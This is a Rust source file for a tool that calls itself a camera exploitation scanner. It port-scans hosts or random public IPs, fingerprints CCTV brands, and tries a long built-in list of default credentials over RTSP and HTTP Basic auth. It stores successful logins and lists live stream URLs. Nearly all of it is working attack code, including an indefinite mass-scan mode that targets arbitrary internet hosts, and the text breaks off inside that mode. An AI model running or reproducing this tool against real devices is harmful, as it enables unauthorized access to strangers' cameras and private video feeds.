use crate::utils::{generate_random_public_ip, is_subnet_target, parse_subnet, subnet_host_count, EXCLUDED_RANGES};
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// =================================================================================
|
||||
// CONSTANTS & DATA
|
||||
// =================================================================================
|
||||
|
||||
const PORT_SCAN_TIMEOUT: u64 = 2;
|
||||
const TIMEOUT: u64 = 5;
|
||||
|
||||
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
|
||||
// are not cameras and should be skipped in mass scan mode
|
||||
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
|
||||
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
// Standard web ports
|
||||
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
|
||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
||||
// RTSP ports
|
||||
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
|
||||
// RTMP ports
|
||||
1935, 1936, 1937, 1938, 1939,
|
||||
// Custom camera ports
|
||||
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
|
||||
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
|
||||
// ONVIF ports
|
||||
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
|
||||
// VLC streaming ports
|
||||
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
|
||||
// Common alternative ports
|
||||
110, 143, 993, 995,
|
||||
1024, 1025, 1026, 1027, 1028, 1029, 1030,
|
||||
2000, 2001, 2002, 2003, 2004, 2005,
|
||||
3000, 3001, 3002, 3003, 3004, 3005,
|
||||
4000, 4001, 4002, 4003, 4004, 4005,
|
||||
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
|
||||
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
|
||||
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
|
||||
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
|
||||
// Additional common ports
|
||||
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
|
||||
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
|
||||
// MMS ports
|
||||
1755, 1756, 1757, 1758, 1759, 1760,
|
||||
// High ports
|
||||
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
|
||||
];
|
||||
|
||||
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
|
||||
|
||||
const COMMON_PATHS: &[&str] = &[
|
||||
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
|
||||
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
|
||||
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
|
||||
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
|
||||
];
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", "1234567"),
|
||||
("admin", "12345678"),
|
||||
("admin", "123456789"),
|
||||
("admin", "admin123"),
|
||||
("admin", "admin1234"),
|
||||
("admin", "admin12345"),
|
||||
("admin", "password"),
|
||||
("admin", "pass"),
|
||||
("admin", "123"),
|
||||
("admin", "1111"),
|
||||
("admin", "0000"),
|
||||
("admin", "8888"),
|
||||
("admin", "default"),
|
||||
("admin", "admin@123"),
|
||||
("admin", "Admin123"),
|
||||
("admin", "Admin1234"),
|
||||
("admin", "888888"),
|
||||
("admin", "666666"),
|
||||
("admin", "4321"),
|
||||
("admin", "9999"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "toor"),
|
||||
("root", "1234"),
|
||||
("root", "12345"),
|
||||
("root", "123456"),
|
||||
("root", "pass"),
|
||||
("root", "password"),
|
||||
("root", "root123"),
|
||||
("root", "admin"),
|
||||
("root", "1111"),
|
||||
("root", "0000"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "user123"),
|
||||
("user", "password"),
|
||||
("user", "1234"),
|
||||
("user", "12345"),
|
||||
("user", "123456"),
|
||||
("user", ""),
|
||||
("guest", "guest"),
|
||||
("guest", "guest123"),
|
||||
("guest", "1234"),
|
||||
("guest", "12345"),
|
||||
("guest", "123456"),
|
||||
("guest", ""),
|
||||
("operator", "operator"),
|
||||
("operator", "operator123"),
|
||||
("operator", "1234"),
|
||||
("operator", "12345"),
|
||||
("administrator", "administrator"),
|
||||
("administrator", "admin"),
|
||||
("administrator", "1234"),
|
||||
("administrator", "12345"),
|
||||
("administrator", "123456"),
|
||||
("administrator", "password"),
|
||||
("supervisor", "supervisor"),
|
||||
("supervisor", "1234"),
|
||||
("supervisor", "12345"),
|
||||
("supervisor", "123456"),
|
||||
("supervisor", "password"),
|
||||
("support", "support"),
|
||||
("support", "support123"),
|
||||
("support", "1234"),
|
||||
("support", "password"),
|
||||
("system", "system"),
|
||||
("system", "system123"),
|
||||
("system", "1234"),
|
||||
("system", "12345"),
|
||||
("system", "123456"),
|
||||
("viewer", "viewer"),
|
||||
("viewer", "viewer123"),
|
||||
("viewer", "1234"),
|
||||
("viewer", "12345"),
|
||||
("admin1", "admin"),
|
||||
("admin1", "admin1"),
|
||||
("admin1", "1234"),
|
||||
("admin1", "12345"),
|
||||
("admin1", "123456"),
|
||||
("admin1", "password"),
|
||||
("888888", "888888"),
|
||||
("888888", "123456"),
|
||||
("888888", "000000"),
|
||||
("666666", "666666"),
|
||||
("666666", "123456"),
|
||||
("666666", "000000"),
|
||||
("", "admin"),
|
||||
("", "12345"),
|
||||
("", "123456"),
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::get_global_source_port().await.is_some() {
|
||||
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
|
||||
}
|
||||
let target = target.trim().to_string();
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
}
|
||||
|
||||
// Subnet handling — iterate over each IP in the CIDR
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
let count = subnet_host_count(&network);
|
||||
crate::mprintln!("{}", format!("[*] Subnet {} — {} hosts to scan sequentially", target, count).cyan());
|
||||
for ip in network.iter() {
|
||||
let ip_str = ip.to_string();
|
||||
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
|
||||
if let Err(e) = Box::pin(run(&ip_str)).await {
|
||||
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// 1. Port Scan
|
||||
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
|
||||
if open_ports.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No open camera ports found.".red());
|
||||
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
|
||||
|
||||
// 2. Camera Detection & Fingerprinting
|
||||
let client = create_client()?;
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
|
||||
if !is_camera {
|
||||
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
|
||||
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
|
||||
}
|
||||
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// 3. Credential Testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 4. Stream Detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 5. Additional Information
|
||||
|
||||
|
||||
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln_block!(
|
||||
format!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold()),
|
||||
format!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold()),
|
||||
format!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold()),
|
||||
format!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold()),
|
||||
format!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold())
|
||||
);
|
||||
}
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!(e))
|
||||
}
|
||||
|
||||
fn get_protocol(port: u16) -> &'static str {
|
||||
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
|
||||
}
|
||||
|
||||
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
|
||||
let mut map = HashMap::new();
|
||||
|
||||
// Web ports
|
||||
map.insert(80, ("HTTP", " - Standard Web"));
|
||||
map.insert(443, ("HTTPS", " - Secure Web"));
|
||||
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
|
||||
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
|
||||
map.insert(8000, ("HTTP-Alt", ""));
|
||||
|
||||
// RTSP ports
|
||||
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
|
||||
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
|
||||
|
||||
// RTMP ports
|
||||
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
|
||||
|
||||
// Custom camera ports
|
||||
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
|
||||
|
||||
// ONVIF
|
||||
map.insert(3702, ("ONVIF", " - Camera Discovery"));
|
||||
|
||||
map
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// PORT SCANNING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let mut open_ports = Vec::new();
|
||||
let mut rtsp_ports = Vec::new();
|
||||
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
|
||||
let mut tasks = Vec::new();
|
||||
let target_arc = Arc::new(target.to_string());
|
||||
|
||||
// Deduplicate ports
|
||||
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
|
||||
let port_map = get_port_service_map();
|
||||
|
||||
for port in unique_ports {
|
||||
let t = target_arc.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
}
|
||||
None
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(Some((port, is_rtsp))) = task.await {
|
||||
open_ports.push(port);
|
||||
if is_rtsp {
|
||||
rtsp_ports.push(port);
|
||||
}
|
||||
|
||||
// Logging
|
||||
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
|
||||
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
|
||||
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
|
||||
}
|
||||
}
|
||||
|
||||
open_ports.sort();
|
||||
rtsp_ports.sort();
|
||||
(open_ports, rtsp_ports)
|
||||
}
|
||||
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// FINGERPRINTING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
|
||||
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
|
||||
let found = Arc::new(Mutex::new(false));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in open_ports {
|
||||
let t = target.to_string();
|
||||
let c = client.clone();
|
||||
let f = found.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, t, port);
|
||||
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
// Server header indicators
|
||||
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
|
||||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
|
||||
headers.contains("ipcam") || headers.contains("webcam") {
|
||||
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Body indicators
|
||||
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
|
||||
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
|
||||
body.contains("ipcam") || body.contains("netcam") {
|
||||
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Auth requirement check
|
||||
if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if indicators {
|
||||
let mut lock = f.lock().await;
|
||||
*lock = true;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let result = *found.lock().await;
|
||||
result
|
||||
}
|
||||
|
||||
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
|
||||
|
||||
let mut found_count = 0;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in COMMON_PATHS {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
|
||||
status == reqwest::StatusCode::FORBIDDEN {
|
||||
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
|
||||
found_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found_count == 0 {
|
||||
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
|
||||
|
||||
let mut found_brand = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("dahua") || body.contains("dahua") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("axis") || body.contains("axis") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("cp plus") || body.contains("cpplus") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("foscam") || headers.contains("foscam") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("vivotek") || headers.contains("vivotek") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_brand {
|
||||
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// CREDENTIALS
|
||||
// =================================================================================
|
||||
|
||||
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
|
||||
crate::mprintln!("{}", "[ℹ️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
|
||||
|
||||
let all_creds_vec = get_default_credentials();
|
||||
let all_creds = all_creds_vec.as_slice();
|
||||
let mut priority_creds = Vec::new();
|
||||
|
||||
// Top priority credentials
|
||||
priority_creds.push(("admin", "admin"));
|
||||
priority_creds.push(("admin", "12345"));
|
||||
priority_creds.push(("admin", "123456"));
|
||||
priority_creds.push(("admin", ""));
|
||||
priority_creds.push(("root", "root"));
|
||||
priority_creds.push(("root", "12345"));
|
||||
priority_creds.push(("", "admin"));
|
||||
|
||||
// Test RTSP ports first
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
|
||||
for &port in rtsp_ports {
|
||||
for &(user, pass) in &priority_creds {
|
||||
if test_rtsp_auth(target, port, user, pass).await {
|
||||
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
target,
|
||||
port
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "rtsp", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test HTTP/HTTPS ports
|
||||
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
|
||||
for &port in open_ports {
|
||||
if rtsp_ports.contains(&port) {
|
||||
continue; // Already tested
|
||||
}
|
||||
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
// First check if auth is required
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
|
||||
// Try credentials
|
||||
// First try priority creds
|
||||
let mut tested = HashSet::new();
|
||||
for &(user, pass) in &priority_creds {
|
||||
tested.insert((user, pass));
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Then try remaining creds from the full list
|
||||
for &(user, pass) in all_creds {
|
||||
if tested.contains(&(user, pass)) { continue; }
|
||||
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
target, port, auth_str
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_ok() {
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0 200 OK") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// STREAM DETECTION
|
||||
// =================================================================================
|
||||
|
||||
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
|
||||
|
||||
// Show RTSP links
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
|
||||
let common_paths = [
|
||||
"/",
|
||||
"/live.sdp",
|
||||
"/h264.sdp",
|
||||
"/stream1",
|
||||
"/Streaming/Channels/1",
|
||||
"/Streaming/Channels/101",
|
||||
"/cam/realmonitor",
|
||||
"/live/ch00_0",
|
||||
"/livestream",
|
||||
"/axis-media/media.amp"
|
||||
];
|
||||
|
||||
for &port in rtsp_ports {
|
||||
for path in common_paths {
|
||||
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
|
||||
}
|
||||
|
||||
// Check HTTP streams on open ports
|
||||
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
|
||||
let stream_paths = [
|
||||
"/video",
|
||||
"/stream",
|
||||
"/live",
|
||||
"/mjpg/video.mjpg",
|
||||
"/snapshot.jpg",
|
||||
"/videostream.cgi",
|
||||
"/video.cgi",
|
||||
"/image.jpg",
|
||||
"/cgi-bin/mjpeg",
|
||||
"/axis-cgi/mjpg/video.cgi"
|
||||
];
|
||||
|
||||
let mut found_streams = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in stream_paths {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
// Use head first
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
let ct = resp.headers().get("content-type")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
|
||||
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
|
||||
found_streams = true;
|
||||
} else if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
|
||||
found_streams = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_streams && rtsp_ports.is_empty() {
|
||||
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// =================================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
|
||||
DEFAULT_CREDENTIALS.to_vec()
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// MASS SCAN FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
/// Build parsed exclusion list from EXCLUDED_RANGES
|
||||
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
|
||||
EXCLUDED_RANGES.iter()
|
||||
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
|
||||
.collect()
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
|
||||
/// Returns true if the host should be skipped (only non-camera services found)
|
||||
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
|
||||
if open_ports.is_empty() {
|
||||
return true;
|
||||
}
|
||||
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
|
||||
crate::mprintln!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
|
||||
crate::mprintln!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
|
||||
crate::mprintln!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// Build exclusion list
|
||||
let exclusions = build_exclusion_list();
|
||||
crate::mprintln!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
|
||||
|
||||
// Prompt for thread count
|
||||
let thread_count = crate::utils::cfg_prompt_int_range("concurrency", "Threads", 200, 1, 5000).await? as usize;
|
||||
|
||||
// Prompt for output file
|
||||
let output_file = crate::utils::cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file for discovered cameras",
|
||||
"camxploit_results.txt",
|
||||
).await?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
|
||||
thread_count
|
||||
).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let exclusions = Arc::new(exclusions);
|
||||
let scanned_count = Arc::new(AtomicU64::new(0));
|
||||
let found_count = Arc::new(AtomicU64::new(0));
|
||||
let skipped_service_count = Arc::new(AtomicU64::new(0));
|
||||
let semaphore = Arc::new(Semaphore::new(thread_count));
|
||||
let output_file = Arc::new(output_file);
|
||||
|
||||
// Progress reporter task (time-based, every 10 seconds)
|
||||
{
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let start_time = Instant::now();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
